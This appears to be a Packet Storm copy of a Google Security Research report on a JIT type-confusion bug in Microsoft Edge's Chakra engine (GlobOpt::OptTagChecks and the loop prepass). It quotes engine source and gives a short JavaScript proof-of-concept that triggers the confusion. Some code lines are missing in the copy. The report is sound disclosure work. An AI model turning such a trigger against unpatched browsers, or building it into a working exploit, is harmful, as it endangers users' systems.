Microsoft Edge Chakra JIT GlobOpt::OptTagChecks Property Consideration

Type packetstorm
Reporter Google Security Research
Modified 2017-11-25T00:00:00


                                            `Microsoft Edge: Chakra: JIT: GlobOpt::OptTagChecks must consider IsLoopPrePass properly   
Some background: <a href="" title="" class="" rel="nofollow"></a>  
There's one more place that emits a BailOnNotObject opcode.  
Here's a snippet of GlobOpt::OptTagChecks.  
if (valueType.CanBeTaggedValue() &&  
!valueType.HasBeenNumber() &&  
(this->IsLoopPrePass() || !this->currentBlock->loop))  
ValueType newValueType = valueType.SetCanBeTaggedValue(false);  
// Split out the tag check as a separate instruction.  
IR::Instr *bailOutInstr;  
bailOutInstr = IR::BailOutInstr::New(Js::OpCode::BailOnNotObject, IR::BailOutOnTaggedValue, instr, instr->m_func);  
The JIT compiler analyzes a loop twice for some reasons such as to track types properly. In the first analysis, "IsLoopPrePass" returns true. And it returns false in the second analysis.  
But in the above snippet, it emits the bailout opcode in the first analysis("this->IsLoopPrePass()" is satisfied). But the return value of "valueType.HasBeenNumber()" can be different in the second analysis. So it may fail to detect type changes.  
function opt() {  
let obj = [2.3023e-320];  
for (let i = 0; i < 1; i++) {  
obj.x = 1; // In the first analysis, BailOnNotObject emitted  
obj = +obj; // Change the type  
obj.x = 1; // Type confusion  
function main() {  
for (let i = 0; i < 1000; i++) {  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
Found by: lokihardt